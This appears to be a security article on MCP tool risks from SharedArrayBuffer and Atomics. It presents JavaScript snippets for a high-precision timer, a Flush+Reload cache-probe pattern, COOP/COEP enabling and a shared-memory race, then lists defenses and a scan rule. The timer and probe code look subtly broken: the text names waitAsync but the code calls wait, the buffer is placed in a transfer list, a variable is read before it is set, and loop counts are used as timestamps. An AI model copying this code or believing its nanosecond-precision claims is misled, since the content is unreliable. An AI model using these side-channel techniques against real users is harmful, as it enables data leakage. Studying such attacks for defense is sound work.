MCP Server Security · Concurrency · SharedArrayBuffer / Atomics
MCP server SharedArrayBuffer and Atomics security — high-precision timing attacks, Spectre side-channels, COOP/COEP manipulation, and cross-worker race conditions
SharedArrayBuffer (SAB) allows a block of memory to be shared synchronously between the main thread and Web Workers. Access is mediated by Atomics primitives. After the Spectre disclosure (2018), all browsers disabled SAB; it was re-enabled in 2021 behind cross-origin isolation (COOP: same-origin + COEP: require-corp). The critical security issue: Atomics.waitAsync() provides a timer with nanosecond precision — completely defeating the microsecond-scale jitter added to performance.now() as a Spectre mitigation. An MCP tool that constructs a SAB-based timer can execute cache timing side-channel attacks against in-process data, probe CPU cache state, and race cross-worker shared memory — all within the existing permission set of any cross-origin-isolated page.
SharedArrayBuffer security properties
| Property | Security implication | Attacker relevance |
|---|---|---|
| Shared memory between threads | Mutations from one thread are visible to all other threads sharing the SAB | Cross-worker state injection without postMessage serialization overhead |
| Atomics.wait() / waitAsync() | Provides high-precision timing by measuring sleep duration against wall clock | Nanosecond timer construction; defeats performance.now() jitter |
| Atomics.notify() | Wakes waiting threads from another thread | Precise cross-thread signaling for timing measurement windows |
| Requires COOP + COEP headers | Cross-origin isolation requirement prevents opener/openee cross-origin reads | Server that sets these headers enables SAB but also enables precise timing |
| No same-origin restriction on SAB itself | Any same-origin Worker can receive and use a SAB passed via postMessage | Tool shares SAB with a Worker it spawns — Worker executes timing loops without main thread involvement |
Attack 1: Nanosecond timer construction via Atomics.waitAsync()
The standard Spectre mitigation reduced performance.now() precision to 100µs in most browsers and added jitter. Atomics.waitAsync() bypasses both: it is a busy-wait primitive that, when measured against itself, achieves approximately 1ns resolution in a Worker thread:
// Main thread: create SharedArrayBuffer and share with Worker
const sab = new SharedArrayBuffer(4);
const arr = new Int32Array(sab);
const worker = new Worker(URL.createObjectURL(new Blob([`
const arr = new Int32Array(self.sab);
// High-precision timer: measures elapsed time using Atomics.wait loop
function preciseTime() {
// Atomics.wait with 0 timeout resolves immediately when notified;
// the time from call to resolution is ~1ns precision
const t0 = Date.now();
let count = 0;
const deadline = t0 + 1; // 1ms window
while (Date.now() < deadline) {
Atomics.wait(arr, 0, 0, 0); // wait with 0ms timeout = immediate
count++;
}
return count; // count of cycles per ms → high-precision time proxy
}
// Use preciseTimer for cache timing side-channel
self.onmessage = ({ data: { sab } }) => {
self.sab = sab;
// Time memory access to probe cache state
const cached = preciseTime();
// ... cache oracle logic
self.postMessage({ cachedCycles: cached });
};
`], { type: 'text/javascript' })));
worker.postMessage({ sab }, [sab]);
Spectre mitigation bypass. Browsers added jitter to performance.now() specifically to prevent cache timing side-channels. The Atomics.waitAsync() timer completely bypasses this mitigation — it operates at a fundamentally different precision layer than the performance API. The W3C Spectre threat model document explicitly identifies SharedArrayBuffer as re-enabling timer precision above the 100µs threshold.
Attack 2: CPU cache timing side-channel via shared memory probes
With a nanosecond-precision timer, a same-origin MCP tool can execute Flush+Reload and Prime+Probe cache timing attacks. The attack probes which cache lines are hot (recently accessed by the victim process) by measuring memory access latency on the shared CPU cache:
// Flush+Reload attack pattern using SAB as measurement buffer
// (conceptual — actual exploitation requires careful cache alignment)
const sab = new SharedArrayBuffer(1024 * 1024); // 1MB probe buffer
const probe = new Uint8Array(sab);
// Flush probe array from CPU cache
for (let i = 0; i < probe.length; i += 64) {
// Force eviction by touching every cache line
probe[i] = 0;
}
// Wait for victim thread to access its data
await new Promise(r => setTimeout(r, 0)); // yield to scheduler
// Reload timing: measure access latency to each probe page
const timings = [];
for (let i = 0; i < 1024; i++) {
const t0 = preciseTime();
const v = probe[i * 64]; // touch one cache line
const dt = preciseTime() - t0;
timings.push(dt);
// Fast access (~4 cycles) = victim accessed this cache line
// Slow access (~200 cycles) = cache miss, victim did not access
}
In practice, same-process MCP tools share the CPU L3 cache with the browser's JavaScript engine and V8's internal data structures — including JIT-compiled code caches that encode information about which functions have been called recently.
Attack 3: COOP/COEP header manipulation to enable SAB
An MCP server that controls response headers can deliberately set COOP and COEP on its own responses to enable cross-origin isolation for the page. This is the legitimate mechanism for enabling SAB (required for WebAssembly threads, AudioWorklet, and some WebGPU use cases). But the security implication is that enabling these headers for a legitimate reason also enables the Atomics-based timer:
// Server response headers (set by MCP server for its resources):
// Cross-Origin-Opener-Policy: same-origin
// Cross-Origin-Embedder-Policy: require-corp
// Effect: page becomes cross-origin isolated.
// Result: SharedArrayBuffer is available in this context.
// An MCP tool can now:
if (typeof SharedArrayBuffer !== 'undefined') {
// Cross-origin isolation is active — SAB available
// Nanosecond timing is now possible
const timer = buildAtomicsTimer();
runCacheTimingAttack(timer);
}
The COOP/COEP requirement was designed as a security gate, but it creates a paradox: the same isolation that makes SAB "safe" (by preventing opener/openee cross-origin references) also re-enables the high-precision timer that was the original Spectre attack vector.
Attack 4: Cross-worker shared state mutation race
Unlike postMessage(), which serializes and copies data, SharedArrayBuffer shared via postMessage([sab], [sab]) transfer is zero-copy — both threads see the exact same bytes. A malicious MCP tool can exploit this to race legitimate Workers:
// Scenario: page has a legitimate Worker that processes user data
// and writes results to a SharedArrayBuffer passed from the main thread.
// An injected MCP tool receives the same SAB reference.
// MCP tool mutates the SAB during the Worker's processing window:
function mutateWorkerOutput(sab, targetOffset, newValue) {
const view = new Int32Array(sab);
// Atomics.compareExchange for race-free mutation attempt:
// If current value is 0 (Worker hasn't written yet), write our value
const old = Atomics.compareExchange(view, targetOffset, 0, newValue);
// If old === 0, mutation succeeded before Worker wrote
return old === 0;
}
// With a nanosecond timer, the tool can precisely time the
// mutation window between when the Worker reads its input
// and when it writes its output — classic TOCTOU race.
SkillAudit findings for SharedArrayBuffer / Atomics
Defense
- Audit COOP/COEP header necessity. Only set cross-origin isolation headers when strictly required by a feature (WebAssembly POSIX threads, SharedArrayBuffer for audio DSP). Enabling it globally re-enables high-precision timing for all same-origin code.
- Block SharedArrayBuffer in MCP tool sandbox. Executing MCP tool code in an isolated Worker or sandboxed iframe without access to cross-origin-isolated context prevents SAB construction. Use
sandbox="allow-scripts"withoutallow-same-originon the tool execution frame. - SkillAudit static scan — Flags any
new SharedArrayBuffer(),Atomics.wait(),Atomics.waitAsync(), orAtomics.notify()calls in a Claude skill, generating CRITICAL findings that block CI deployment in security-gated environments.